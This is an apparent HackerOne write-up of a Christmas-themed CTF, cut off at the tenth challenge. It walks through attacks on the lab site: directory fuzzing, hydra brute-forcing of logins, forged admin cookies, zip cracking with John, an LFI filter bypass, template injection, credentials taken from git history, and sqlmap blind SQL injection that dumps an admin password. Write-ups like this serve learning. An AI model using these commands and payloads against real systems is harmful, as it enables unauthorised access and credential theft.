Lucene search

K
hackeroneElieeH1:1069263
HistoryDec 31, 2020 - 12:42 p.m.

h1-ctf: First CTF ever!

2020-12-3112:42:06
eliee
hackerone.com
108

Pretext

Started looking into hacking this autumn and then found out HackerOne was doing a Christmas themed CTF. Further investigation showed that the deplorable Grinch might be up to no good again - Christmas is in danger!

TLDR

Lots of hacking took place, the Grinch was stopped, Christmas saved and all I got for the trouble was these flags (and lots of invites but no Snow Ball Launcher):

flag{48104912-28b0-494a-9995-a203d1e261e7}
flag{b7ebcb75-9100-4f91-8454-cfb9574459f7}
flag{b705fb11-fb55-442f-847f-0931be82ed9a}
flag{972e7072-b1b6-4bf7-b825-a912d3fd38d6}
flag{2e6f9bf8-fdbd-483b-8c18-bdf371b2b004}
flag{18b130a7-3a79-4c70-b73b-7f23fa95d395}
flag{5bee8cf2-acf2-4a08-a35f-b48d5e979fdd}
flag{677db3a0-f9e9-4e7e-9ad7-a9f23e47db8b}
flag{6e8a2df4-5b14-400f-a85a-08a260b59135}
flag{99309f0f-1752-44a5-af1e-a03e4150757d}
flag{07a03135-9778-4dee-a83c-7ec330728e72}
flag{ba6586b0-e482-41e6-9a68-caf9941b48a0}

First look

A first look at the domain in scope (https://hackyholidays.h1ctf.com/) for the CTF reveals the Grinch network’s front to the world, a homepage with nothing but a picture.

{F1138471}

Taking a quick look at https://hackyholidays.h1ctf.com/robots.txt to see if there’s anything they don’t want robots (us) to see, we find the first flag flag{48104912-28b0-494a-9995-a203d1e261e7} and that bots aren’t allowed to index /s3cr3t-ar3a.

Secret area

The supposedly secret area of the Grinch doesn’t really give a lot of information other than it has been moved to another secure location in order to “Keep people out”.
(https://hackyholidays.h1ctf.com/s3cr3t-ar3a)
{F1138470}

Inspecting the page with Chrome’s developer tools reveals the second flag flag{b7ebcb75-9100-4f91-8454-cfb9574459f7}, hidden in a div tag:
{F1138472}

This flag is not visible in the HTML returned by the HTTP request to /s3cr3t-ar3a so it must be hidden in JavaScript somewhere. Further investigation reveals a script tag loading https://hackyholidays.h1ctf.com/assets/js/jquery.min.js and inside, we find the following code:

		h1_0 = 'la'
      , h1_1 = '}'
      , h1_2 = ''
      , h1_3 = 'f'
      , h1_4 = 'g'
      , h1_5 = '{b7ebcb75'
      , h1_6 = '8454-'
      , h1_7 = 'cfb9574459f7'
      , h1_8 = '-9100-4f91-';
    document.getElementById('alertbox').setAttribute('data-info', h1_2 + h1_3 + h1_0 + h1_4 + h1_2 + h1_5 + h1_8 + h1_6 + h1_7 + h1_1);

Running just the variables h1_0 through h1_8 in console.log gives us the flag:

console.log( h1_2 + h1_3 + h1_0 + h1_4 + h1_2 + h1_5 + h1_8 + h1_6 + h1_7 + h1_1);
// flag{b7ebcb75-9100-4f91-8454-cfb9574459f7}

The very same page also provides a hint at which the next page will be:

document.getElementById('alertbox').setAttribute('next-page', '/ap' + 'ps');

next-page - /apps

The /apps endpoint currently (as of writing) provides us with a list of 8 different challenges presented as separate apps. The page itself doesn’t hold any flags or vulnerabilities.

(https://hackyholidays.h1ctf.com/apps)

/people-rater - the third flag

The first of the apps is the “Grinch People Rater”. It provides a list of names which, when clicked, presents the Grinch’s opinion on that particular person.

{F1138473}

{F1138474}

Inspecting the webpage tells us that each and every button has an associated data-id attribute. Tea Avery, for example, has the id eyJpZCI6Mn0=. Hmm, looks like base64 - let’s have a look!

atob('eyJpZCI6Mn0=');
{
  "id":2
}

Oh, nice, a JSON-object providing us with an id, makes sense that it star… wait a minute. Why would it start with id 2? Who is id 1? Just have to check! Enter the following into the browser’s console:

// encode {"id":1}
const o = btoa('{"id":1}');
// eyJpZCI6MX0=

Now, how are people fetched? Source inspection tells us a request is made to https://hackyholidays.h1ctf.com/people-rater/entry?id=IDHERE
Let’s plug our encoded object into it and see what it returns!

fetch(`https://hackyholidays.h1ctf.com/people-rater/entry?id=${o}`).then(d => d.text()).then(d => console.log(d));
{
  "id":"eyJpZCI6MX0=",
  "name":"The Grinch",
  "rating":"Amazing in every possible way!",
  "flag":"flag{b705fb11-fb55-442f-847f-0931be82ed9a}"
}

Sweet, the third flag is flag{b705fb11-fb55-442f-847f-0931be82ed9a}!

/swag-shop - the fourth flag

Ah, the swag-shop - I wonder who’d actually be shopping from here. They have only three items, none of them with pictures, and while the ‘Snow Ball Launcher’ does appeal to me, $395 seems rather steep…

{F1138475}

That said, let’s try purchasing it! Wait, I need to log in to buy it?
{F1138477}

No way to register a user, no obvious credentials work… Hmm. Let’s look at the source, then - I want that launcher!

The source code reveals there is some sort of API at https://hackyholidays.h1ctf.com/swag-shop/api/ as the page pulls stock from https://hackyholidays.h1ctf.com/swag-shop/api/stock. There’s also https://hackyholidays.h1ctf.com/swag-shop/api/login and https://hackyholidays.h1ctf.com/swag-shop/api/purchase. Neither seem to want to accept my money so let’s break out the fuzzer and see what other endpoints are available to us.

ffuf -u https://hackyholidays.h1ctf.com/swag-shop/api/FUZZ -w 
seclists/Discovery/Web-Content/common.txt

Reveals another, previously unknown, endpoint: https://hackyholidays.h1ctf.com/swag-shop/api/sessions

Accessing the /sessions endpoint gives us a JSON object with quite a few sessions:

{"sessions":["eyJ1c2VyIjpudWxsLCJjb29raWUiOiJZelZtTlRKaVlUTmtPV0ZsWVRZMllqQTFaVFkxTkRCbE5tSTBZbVpqTW1ObVpHWXpNemcxTVdKa1pEY3lNelkwWlRGbFlqZG1ORFkzTkRrek56SXdNR05pWmpOaE1qUTNZMlJtWTJFMk4yRm1NemRqTTJJMFpXTmxaVFZrTTJWa056VTNNVFV3WWpka1l6a3lOV0k0WTJJM1pXWmlOamsyTjJOak9UazBNalU9In0=","eyJ1c2VyIjpudWxsLCJjb29raWUiOiJaak0yTXpOak0ySmtaR1V5TXpWbU1tWTJaamN4TmpkbE5ETm1aalF3WlRsbVkyUmhOall4TldNNVkyWTFaalkyT0RVM05qa3hNVFEyTnprMFptSXhPV1poTjJaaFpqZzBZMkU1TnprMU5UUTJNek16WlRjME1XSmxNelZoWkRBME1EVXdZbVEzTkRsbVpURTRNbU5rTWpNeE16VTBNV1JsTVRKaE5XWXpPR1E9In0=","eyJ1c2VyIjoiQzdEQ0NFLTBFMERBQi1CMjAyMjYtRkM5MkVBLTFCOTA0MyIsImNvb2tpZSI6Ik5EVTBPREk1TW1ZM1pEWTJNalJpTVdFME1tWTNOR1F4TVdFME9ETXhNemcyTUdFMVlXUmhNVGMwWWpoa1lXRTNNelUxTWpaak5EZzVNRFEyWTJKaFlqWTNZVEZoWTJRM1lqQm1ZVGs0TjJRNVpXUTVNV1E1T1dGa05XRTJNakl5Wm1aak16WmpNRFEzT0RrNVptSTRaalpqT1dVME9HSmhNakl3Tm1Wa01UWT0ifQ==","eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNRFJtWVRCaE4yRmlOalk1TUdGbE9XRm1ZVEU0WmpFMk4ySmpabVl6WldKa09UUmxPR1l3TWpJMU9HSXlOak0xT0RVME5qYzJZVGRsWlRNNE16RmlNMkkxTVRVek16VmlNakZoWXpWa01UYzRPREUzT0dNNFkySmxPVGs0TWpKbE1ESTJZalF6WkRReE1HTm1OVGcxT0RReFpqQm1PREJtWldReFptRTFZbUU9In0=","eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNMlEyTURJek5EZzVNV0UwTjJNM05ESm1OVEl5TkdNM05XVXhZV1EwTkRSbFpXSTNNVGc0TWpJM1pHUmtNVGxsWlRNMlpEa3hNR1ZsTldFd05tWmlaV0ZrWmpaaE9EZzRNRFkzT0RsbVpHUmhZVE0xWTJJeU1HVmhNakExTmpkaU5ERmpZekJoTVdRNE5EVTFNRGM0TkRFMVltSTVZVEpqT0RCa01qRm1OMlk9In0=","eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNV1kzTVRBek1UQmpaR1k0WkdNd1lqSTNaamsyWm1Zek1XSmxNV0V5WlRnMVl6RTBNbVpsWmpNd1ltSmpabVE0WlRVMFkyWXhZelZtWlRNMU4yUTFPRFkyWWpGa1ptRmlObUk1WmpJMU0yTTJNRFZpTmpBMFpqRmpORFZrTlRRNE4yVTJPRGRpTlRKbE1tRmlNVEV4T0RBNE1qVTJNemt4WldOaE5qRmtObVU9In0=","eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNRE00WXpoaU4yUTNNbVkwWWpVMk0yRmtabUZsTkRNd01USTVNakV5T0RobE5HRmtNbUk1T1RjeU1EbGtOVEpoWlRjNFlqVXhaakl6TjJRNE5tUmpOamcyTm1VMU16VmxPV0V6T1RFNU5XWXlPVGN3Tm1KbFpESXlORGd5TVRBNVpEQTFPVGxpTVRZeU5EY3pOakZrWm1VME1UZ3hZV0V3TURVMVpXTmhOelE9In0=","eyJ1c2VyIjpudWxsLCJjb29raWUiOiJPR0kzTjJFeE9HVmpOek0xWldWbU5UazJaak5rWmpJd00yWmpZemRqTVdOaE9EZzRORGhoT0RSbU5qSTBORFJqWlRkbFpUZzBaVFV3TnpabVpEZGtZVEpqTjJJeU9EWTVZamN4Wm1JNVpHUmlZVGd6WmpoaVpEVmlPV1pqTVRWbFpEZ3pNVEJrTnpObU9ESTBPVE01WkRNM1kySmpabVk0TnpFeU9HRTNOVE09In0="]}

They all seem to be base64 encoded, let’s have a look at the first one:

atob("eyJ1c2VyIjpudWxsLCJjb29raWUiOiJZelZtTlRKaVlUTmtPV0ZsWVRZMllqQTFaVFkxTkRCbE5tSTBZbVpqTW1ObVpHWXpNemcxTVdKa1pEY3lNelkwWlRGbFlqZG1ORFkzTkRrek56SXdNR05pWmpOaE1qUTNZMlJtWTJFMk4yRm1NemRqTTJJMFpXTmxaVFZrTTJWa056VTNNVFV3WWpka1l6a3lOV0k0WTJJM1pXWmlOamsyTjJOak9UazBNalU9In0=");
// {"user":null,"cookie":"YzVmNTJiYTNkOWFlYTY2YjA1ZTY1NDBlNmI0YmZjMmNmZGYzMzg1MWJkZDcyMzY0ZTFlYjdmNDY3NDkzNzIwMGNiZjNhMjQ3Y2RmY2E2N2FmMzdjM2I0ZWNlZTVkM2VkNzU3MTUwYjdkYzkyNWI4Y2I3ZWZiNjk2N2NjOTk0MjU="}"

Hmm, a null user… Doing this by hand seems like a chore, let’s automate it:

fetch("https://hackyholidays.h1ctf.com/swag-shop/api/sessions")
  .then(d => d.json())
  .then(d => {
    d.sessions.forEach(obj => {
      console.log(atob(obj))
    })
  });

Result:

{"user":null,"cookie":"YzVmNTJiYTNkOWFlYTY2YjA1ZTY1NDBlNmI0YmZjMmNmZGYzMzg1MWJkZDcyMzY0ZTFlYjdmNDY3NDkzNzIwMGNiZjNhMjQ3Y2RmY2E2N2FmMzdjM2I0ZWNlZTVkM2VkNzU3MTUwYjdkYzkyNWI4Y2I3ZWZiNjk2N2NjOTk0MjU="}
{"user":null,"cookie":"ZjM2MzNjM2JkZGUyMzVmMmY2ZjcxNjdlNDNmZjQwZTlmY2RhNjYxNWM5Y2Y1ZjY2ODU3NjkxMTQ2Nzk0ZmIxOWZhN2ZhZjg0Y2E5Nzk1NTQ2MzMzZTc0MWJlMzVhZDA0MDUwYmQ3NDlmZTE4MmNkMjMxMzU0MWRlMTJhNWYzOGQ="}
{"user":"C7DCCE-0E0DAB-B20226-FC92EA-1B9043","cookie":"NDU0ODI5MmY3ZDY2MjRiMWE0MmY3NGQxMWE0ODMxMzg2MGE1YWRhMTc0YjhkYWE3MzU1MjZjNDg5MDQ2Y2JhYjY3YTFhY2Q3YjBmYTk4N2Q5ZWQ5MWQ5OWFkNWE2MjIyZmZjMzZjMDQ3ODk5ZmI4ZjZjOWU0OGJhMjIwNmVkMTY="}
{"user":null,"cookie":"MDRmYTBhN2FiNjY5MGFlOWFmYTE4ZjE2N2JjZmYzZWJkOTRlOGYwMjI1OGIyNjM1ODU0Njc2YTdlZTM4MzFiM2I1MTUzMzViMjFhYzVkMTc4ODE3OGM4Y2JlOTk4MjJlMDI2YjQzZDQxMGNmNTg1ODQxZjBmODBmZWQxZmE1YmE="}
{"user":null,"cookie":"M2Q2MDIzNDg5MWE0N2M3NDJmNTIyNGM3NWUxYWQ0NDRlZWI3MTg4MjI3ZGRkMTllZTM2ZDkxMGVlNWEwNmZiZWFkZjZhODg4MDY3ODlmZGRhYTM1Y2IyMGVhMjA1NjdiNDFjYzBhMWQ4NDU1MDc4NDE1YmI5YTJjODBkMjFmN2Y="}
{"user":null,"cookie":"MWY3MTAzMTBjZGY4ZGMwYjI3Zjk2ZmYzMWJlMWEyZTg1YzE0MmZlZjMwYmJjZmQ4ZTU0Y2YxYzVmZTM1N2Q1ODY2YjFkZmFiNmI5ZjI1M2M2MDViNjA0ZjFjNDVkNTQ4N2U2ODdiNTJlMmFiMTExODA4MjU2MzkxZWNhNjFkNmU="}
{"user":null,"cookie":"MDM4YzhiN2Q3MmY0YjU2M2FkZmFlNDMwMTI5MjEyODhlNGFkMmI5OTcyMDlkNTJhZTc4YjUxZjIzN2Q4NmRjNjg2NmU1MzVlOWEzOTE5NWYyOTcwNmJlZDIyNDgyMTA5ZDA1OTliMTYyNDczNjFkZmU0MTgxYWEwMDU1ZWNhNzQ="}
{"user":null,"cookie":"OGI3N2ExOGVjNzM1ZWVmNTk2ZjNkZjIwM2ZjYzdjMWNhODg4NDhhODRmNjI0NDRjZTdlZTg0ZTUwNzZmZDdkYTJjN2IyODY5YjcxZmI5ZGRiYTgzZjhiZDViOWZjMTVlZDgzMTBkNzNmODI0OTM5ZDM3Y2JjZmY4NzEyOGE3NTM="}

Aha, a valid user by the looks of it - C7DCCE-0E0DAB-B20226-FC92EA-1B9043! But it doesn’t give us a proper username, and the cookie property seems to decode into a hash… Maybe we can use the user id? And since it so sincerely tells us “user”, maybe there is a https://hackyholidays.h1ctf.com/swag-shop/api/user endpoint?
{F1138476}

Look at that! Now, what might the actual parameter be? user, id, userid, username? Nope:
{F1138478}

Thinking about it, the user"name" returned by https://hackyholidays.h1ctf.com/swag-shop/api/sessions does look more like a UUID than a name or regular id… maybe uuid will work?
Link
{F1138479}

{
	"uuid": "C7DCCE-0E0DAB-B20226-FC92EA-1B9043",
	"username": "grinch",
	"address": {
		"line_1": "The Grinch",
		"line_2": "The Cave",
		"line_3": "Mount Crumpit",
		"line_4": "Whoville"
	},
	"flag": "flag{972e7072-b1b6-4bf7-b825-a912d3fd38d6}"
}

Sweet, the fouth flag flag{972e7072-b1b6-4bf7-b825-a912d3fd38d6}! Unfortunately, it doesn’t seem like it will let us buy a Snow Ball Launcher - better stop the Grinch and ask Santa for one!

/secure-login - the fifth flag

We are greeted with a page that fits the location to a T.
{F1138480}

And yet again, no way to sign up >:( Maybe there’s some hidden sign up page… Apparently not - fuzzing reveals nothing of interest. Let’s try logging in, then!
test:test
{F1138481}

No dice, go… Wait, username doesn’t exist? Perhaps it will tell us when we find a proper username, let’s try running hydra.

hydra -L /usr/share/seclists/Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.txt -p wot 18.216.153.32 https-post-form '/secure-login:username=^USER^&password=^PASS^:Invalid Username'
[...]
[443][http-post-form] host: 18.216.153.32   login: access   password: wot

Nice, seems the page properly informs us that the username access is valid by saying the password is incorrect:
{F1138485}

Let’s use hydra again to see if we can get the password too:

hydra -l access -P /usr/share/wordlists/rockyou.txt 18.216.153.32 https-post-form '/secure-login:username=^USER^&password=^PASS^:Invalid Password'
[443][http-post-form] host: 18.216.153.32   login: access   password: computer
1 of 1 target successfully completed, 1 valid password found

Bingo, computer. After logging in using access:computer as credentials, we are greeted with the following, very informative, message:
{F1138486}

Looking at the source also gives us nothing, but I noticed that the cookie in the HTTP request seems to be a base64 encoded value:

{F1138488}

atob(decodeURIComponent("eyJjb29raWUiOiIxYjVlNWYyYzlkNThhMzBhZjRlMTZhNzFhNDVkMDE3MiIsImFkbWluIjpmYWxzZX0%3D"));
// {"cookie":"1b5e5f2c9d58a30af4e16a71a45d0172","admin":false}

Apparently, we don’t have admin privileges… But it does look like we can change that:

encodeURIComponent(btoa('{"cookie":"1b5e5f2c9d58a30af4e16a71a45d0172","admin":true}'));
// eyJjb29raWUiOiIxYjVlNWYyYzlkNThhMzBhZjRlMTZhNzFhNDVkMDE3MiIsImFkbWluIjp0cnVlfQ%3D%3D

Using Burp, we send the request for https://hackyholidays.h1ctf.com/secure-login to the repeater and change the value of the securelogin cookie to our new forged JSON object before hitting Send:
{F1138487}

Seems there’s a hidden zip-file that the Grinch doesn’t want us to have! Let’s get it from here!

Opening the file, it turns out it has been password protected:
{F1138490}

Surely, this is nothing before the might of John the Ripper, particularly since we’ll be cracking locally!

First, we’ll need to convert it to a format that John can understand.

zip2john my_secure_files_not_for_you.zip > zippass.txt

Next, let John loose on the hash retrieved from the zip-file, using the infamous password list rockyou.txt!

john --wordlist=/usr/share/wordlists/rockyou.txt zippass.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
hahahaha         (my_secure_files_not_for_you.zip)
1g 0:00:00:00 DONE (2020-12-29 11:21) 25.00g/s 409600p/s 409600c/s 409600C/s 123456..cocoliso
Warning: passwords printed above might not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Seems like hahahaha is the password we’re looking for. Providing that as a password when extracting flag.txt from the zip-file gives us access to the fifth flag flag{2e6f9bf8-fdbd-483b-8c18-bdf371b2b004}:
{F1138491}

/my-diary - the sixth flag

Seems like the Grinch has been keeping a diary - I wonder if he’s written anything about his upcoming plans to ruin Christmas for everyone?

{F1138492}

A first look doesn’t reveal anything of particular interest bar the fact that he is planning to ruin Christmas on the 25th… Oh, and it seems as if his diary might be vulnerable to LFI attacks since the address bar looks like this:
{F1138494}

Let’s see what happens if we try to include index.php by visiting https://hackyholidays.h1ctf.com/my-diary/index.php?template=index.php:
{F1138493}

A blank page. Huh. But is it, though? Let’s have a look at the Networks tab of the browser:

{F1138495}

Turns out, the page is vulnerable to LFI and we have gotten the source code of the index.php file.

<?php
if( isset($_GET["template"])  ){
    $page = $_GET["template"];
    //remove non allowed characters
    $page = preg_replace('/([^a-zA-Z0-9.])/','',$page);
    //protect admin.php from being read
    $page = str_replace("admin.php","",$page);
    //I've changed the admin file to secretadmin.php for more security!
    $page = str_replace("secretadmin.php","",$page);
    //check file exists
    if( file_exists($page) ){
       echo file_get_contents($page);
    }else{
        //redirect to home
        header("Location: /my-diary/?template=entries.html");
        exit();
    }
}else{
    //redirect to home
    header("Location: /my-diary/?template=entries.html");
    exit();
}

By the looks of it, there is a secret admin page located at https://hackyholidays.h1ctf.com/my-diary/secretadmin.php. Unfortunately, the file isn’t directly accessible:
{F1138496}
And trying to have index.php retrieve it through the template parameter seems undoa… No, it should actually be doable given the right string composition.

First up, the webpage filters anything that is not part of the charset

/[A-Za-z0-9.]/

As such, we are limited to A-Z, a-z, 0-9 and .

Next, using str_replace it removes admin.php, followed by removing any occurrences of secretadmin.php. This approach seems secure but it is not - PHP does an initial search of all occurrences of admin.php and then only removes those before doing the same thing for secretadmin.php!

The PHP documentation for str_replace states the following:
{F1138497}

This means that if we put, say, adminadmin.php.php through the filter str_replace("admin.php", "", $page), we will be left with admin.php. We can quickly confirm this is the case by running the following PHP code by using php -a

php > $a = "adminadmin.php.php";
php > print str_replace("admin.php", "", $a);
admin.php

As such, we can construct the following string to avoid all filters: secretsecretadminadmin.php.phpadminadmin.php.php

php > $a = "secretsecretadminadmin.php.phpadminadmin.php.php";
php > print str_replace("secretadmin.php", "", str_replace("admin.php", "", $a));
secretadmin.php

By visiting https://hackyholidays.h1ctf.com/my-diary/index.php?template=secretsecretadminadmin.php.phpadminadmin.php.php we get the contents of the secretadmin.php file, including the sixth flag flag{18b130a7-3a79-4c70-b73b-7f23fa95d395}:
{F1138499}

Also, it seems the Grinch is planning to DDoS Santa’s servers on the 23rd!

/hate-mail-generator - the seventh flag

Apparently, the Grinch has been hard at work trying to upset people by sending them hate mail. The initial page looks like below and has a single campaign:
{F1138501}

The campaign itself looks like so:
{F1138500}

Looks like he’s using a template engine to include HTML files in his outgoing hate mail - let’s leave this potential SSTI for now and come back to it later.

We can create our own campaign by clicking on the Create New button on the front page. The New Campaign page looks like so:
{F1138502}
with source code as follows (irrelevant outer markup omitted):

<div>
    <div><img src="/assets/images/grinch-networks.png" alt="Grinch Networks"></div>
    <h1>New Campaign</h1>
    <div>
        <div>
                       &lt;form method="post"&gt;
            <div>
                <div>New Campaign</div>
                <div>
                    <div>&lt;label&gt;Name:&lt;/label&gt;</div>
                    <div>&lt;input class="form-control" name="name" value=""&gt;</div>
                    <div>&lt;label&gt;Subject:&lt;/label&gt;</div>
                    <div>&lt;input class="form-control" name="subject"&gt;</div>
                    <div>&lt;label&gt;Markup:&lt;/label&gt;</div>
                    <div>&lt;textarea name="markup" class="form-control" rows="15"&gt;Hello {{name}} ....&lt;/textarea&gt;</div>
                </div>
            </div>
            <div>
                &lt;input type="button" class="btn btn-primary preview-campaign" value="Preview"&gt;
                &lt;input type="submit" class="btn btn-success pull-right" value="Create"&gt;
            </div>
            &lt;/form&gt;
        </div>
    </div>
</div>
&lt;form method="post" action="/hate-mail-generator/new/preview" id="previewfrm" target="_blank"&gt;
    &lt;input type="hidden" name="preview_markup"&gt;
    &lt;input type="hidden" name="preview_data" value='{"name":"Alice","email":"[email protected]"}'&gt;
&lt;/form&gt;
&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"&gt;&lt;/script&gt;
&lt;script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"&gt;&lt;/script&gt;
&lt;script&gt;
    $('.preview-campaign').click( function(){
        $('input[name="preview_markup"]').val( $('textarea[name="markup"]').val(  ) )
        $('form#previewfrm').submit();
    });
&lt;/script&gt;

Apparently, if we preview the page (link) we will do so using mockup name and email for ‘Alice’ ([email protected]). Previewing the premade mail template, it does say hello to Alice:
{F1138503}

Knowing that we can inject random data through {{}} and actually have the page process it through the preview function, let’s see what juicy files we can dig up to use with {{template:}} .

Let’s fuzz!

ffuf -u https://hackyholidays.h1ctf.com/hate-mail-generator/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt
new                     [Status: 200, Size: 2494, Words: 440, Lines: 49]
templates               [Status: 302, Size: 0, Words: 1, Lines: 1]

Templates looks to be just what we’re looking for!

curl https://hackyholidays.h1ctf.com/hate-mail-generator/templates/
&lt;html&gt;
&lt;head&gt;&lt;title&gt;Index of /hate-mail-generator/templates/&lt;/title&gt;&lt;/head&gt;
&lt;body bgcolor="white"&gt;
<h1>Index of /hate-mail-generator/templates/</h1><hr><pre><a href="../">../</a>
<a href>cbdj3_grinch_header.html</a>                                     20-Apr-2020 10:00                   -
<a href>cbdj3_grinch_footer.html</a>                                     20-Apr-2020 10:00                   -
<a href>38dhs_admins_only_header.html</a>                                21-Apr-2020 15:29                  46
</pre><hr>&lt;/body&gt;
&lt;/html&gt;

Nice, a list of usable templates. Naturally, we’ll try accessing 38dhs_admins_only_header.html first:

curl https://hackyholidays.h1ctf.com/hate-mail-generator/templates/38dhs_admins_only_header.html
&lt;html&gt;
&lt;head&gt;&lt;title&gt;403 Forbidden&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.15.8</center>
&lt;/body&gt;
&lt;/html&gt;

Well, I don’t think anyone actually expected that to work. Let’s get back to the new campaign page at /hate-mail-generator/new and see what we can cook up!

{F1138504}

Let’s preview and win!
{F1138505}

SUCCE… ?! What? Apparently, not so easy. But, we know the two parameters to the preview function - preview_markupand preview_data from the source code of the new page. Maybe we can trick the page into including the admin-page by providing it as a variable in preview_data and then reflecting that variable in preview_markup. Let’s craft preview_data to look like so:

{
  "name":"Alice",
  "email":"[email protected]",
  "winner":"{{template:38dhs_admins_only_header.html}}"
}

Next, let’s modify preview_markup to include our new winner property:

{{winner}}

Let’s run the request using the following JavaScript from the debug console (press F12) on https://hackyholidays.h1ctf.com/hate-mail-generator/:

const previewData = '{"name":"Alice","email":"[email protected]","winner":"{{template:38dhs_admins_only_header.html}}"}';
const previewMarkup = '{{winner}}';

const formData = new FormData();
formData.append('preview_markup', previewMarkup);
formData.append('preview_data', previewData);
const body = new URLSearchParams(formData);

fetch('https://hackyholidays.h1ctf.com/hate-mail-generator/new/preview', { method: 'POST', body: new URLSearchParams(formData), headers: { 'content-type':'application/x-www-form-urlencoded'} }).then(d =&gt; d.text()).then(d =&gt; console.log(d));

This gives us the following response, including the seventh flag flag{5bee8cf2-acf2-4a08-a35f-b48d5e979fdd}:

&lt;html&gt;
&lt;body&gt;
<center>
    <table width="700">
        <tr>
            <td width="700" align="center">Grinch Network Admins Only</td>
        </tr>
        <tr>
            <td>
                <h4>flag{5bee8cf2-acf2-4a08-a35f-b48d5e979fdd}</h4>

Sweet! While we haven’t really stopped any emails from going out, we have at least managed to access the admin page!

/forum - the eight flag

Ah yes, because what webpage is complete without a forum to gloat in! There doesn’t seem to be anyone active in the forums except for the Grinch himself and Max the dog, though …

{F1138506}

Looking through the forums and fuzzing https://hackyholidays.h1ctf.com/forum/ doesn’t actually reveal anything interesting apart from a /phpmyadmin endpoint that seems to be completely unwilling to do anything without proper papers…

ffuf -u https://hackyholidays.h1ctf.com/forum/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt
1                       [Status: 200, Size: 2249, Words: 788, Lines: 64]
2                       [Status: 200, Size: 1885, Words: 512, Lines: 58]
login                   [Status: 200, Size: 1569, Words: 396, Lines: 34]
phpmyadmin              [Status: 200, Size: 8880, Words: 956, Lines: 79]

Enter twitter:
{F1138507}
Until I saw this tweet, I had no idea about who had actually created the CTF but this gave me an idea - maybe, just maybe, the source is available on GitHub. Let’s have a look!

Searching google for site:github.com adamtlangley grinch gives a single result:
{F1138509}

* An hour of source code review later *

The forums don’t seem to be vulnerable to any particular type of attack, and I can’t find any vector to defeat the session hash without actually having an account. Looking at the source for the DB class, I noticed there was no user or password specified for accessing the database.

class Db {

    static private $read = '';
    static private $write = '';

    /**
     * @return PDO
     */
    static public function read(){
        if( gettype(self::$read) == 'string' ) {
            self::$read = new DbConnect( false, '', '','' );
        }
        return self::$read;
    }

    public static function closeAll(){
        self::$read = null;
        self::$write = null;
    }

    /**
     * @return PDO
     */
    static public function write(){
        if( gettype(self::$write) == 'string' ) {
            self::$write = new DbConnect( true,  '', '','' );
        }
        return self::$write;
    }
}

Strange, I thought to myself… Maybe they entered them later, straight on the server? Or maybe… they have a previous commit disclosing the information?!
{F1138510}

Aha! Looking at the older commit (‘Initial Code Commit’), bingo:

static public function read(){
        if( gettype(self::$read) == 'string' ) {
            self::$read = new DbConnect( false, 'forum', 'forum','6HgeAZ0qC9T6CQIqJpD' );
        }
        return self::$read;
    }

We know from the DB::__construct method that the order is $write, $db, $db_user, $db_pass:

public function __construct($write, $db, $db_user, $db_pass ){
        $this-&gt;write = $write;
        $this-&gt;db = $db;
        $this-&gt;db_user = $db_user;
        $this-&gt;db_pass = $db_pass;
        $this-&gt;reconnect();
    }

Plugging “our” credentials into the login box at https://hackyholidays.h1ctf.com/forum/phpmyadmin, we are shown the following page detailing database structure:
{F1138511}

Only the user table actually returns any data of interest:
{F1138512}

Hmm, looks like the passwords might be MD5-hashed… Let’s plug the Grinch’s password hash into CrackStation:
{F1138513}

Sweet, his password is BahHumbug. Now let’s log into the forums from https://hackyholidays.h1ctf.com/forum/login using grinch:BahHumbug as our credentials:
{F1138514}

{F1138515}

Oh no, it seems like the Grinch is really going to go through with DDoSing Santa!

At least we got the eight flag, flag{677db3a0-f9e9-4e7e-9ad7-a9f23e47db8b}.

/evil-quiz - the ninth flag

As the name implies, the quiz is evil. To the untrained (my) eye, it is just another webpage quiz. You can (I did) spend hours upon hours staring at until it dawns on you (me) that there is something peculiar about how many other players of the same name there are participating in the quiz…

{F1138516}

After testing about with SQLi, XSS, brute force on the admin login, trying to forge and guess session variables and what not, I noticed this interesting part on the score page after updating my name with some random SQLi (myuniquename' or 1=1 -- ):

{F1138517}

Huh, seems like we have ourselves an SQLi that might be used as a boolean. Let’s confirm by altering the name to myuniquename' or 1=2 -- :
{F1138518}

Yup, definitely is vulnerable to a blind boolean based SQLi. I saved the HTTP POST request to https://hackyholidays.h1ctf.com/evil-quiz used to set the name variable from Burp suite as quiz.req and fired up sqlmap with the following options (note: sqlmap needs the request to have the cookie session set to a hash that has completed the quiz at least once!):

sqlmap -r ../quiz.req --second-url=https://hackyholidays.h1ctf.com/evil-quiz/score --level=5 --risk=3 --not-string=" 0 other" -p name --dbs --tables --thread=4

Basically, we tell sqlmap to inject through the name parameter and then check the URL supplied through --second-url for results, using the string 0 other as the string to look for to determine a false response. Anything else will be regarded as a trueresponse. sqlmap will also ask whether to follow redirects and if it should merge cookies - answering no is the right way to go.

Quite a few 502s and 500s later, sqlmap finally reports that there are two tables in a database named quiz:

[09:33:59] [INFO] retrieved: quiz
Database: quiz
[2 tables]
+-------+
| admin |
| quiz  |
+-------+

Not really interested in the actual quiz anymore, let’s have a look at the contents of admin by adding the switches -D quiz -T admin :

Database: quiz
Table: admin
[1 entry]
+----+-------------------+----------+
| id | password          | username |
+----+-------------------+----------+
| 1  | S3creT_p4ssw0rd-$ | admin    |
+----+-------------------+----------+

Entering our credentials into the login box for the admin section at https://hackyholidays.h1ctf.com/evil-quiz/admin, we are greeted with the ninth flag flag{6e8a2df4-5b14-400f-a85a-08a260b59135}:

{F1138519}

/signup-manager - the tenth flag

Oh no, the Grinch is trying to recruit people who hate Christmas! (who signs up for this?! … oh right, I did).
{F1138520}

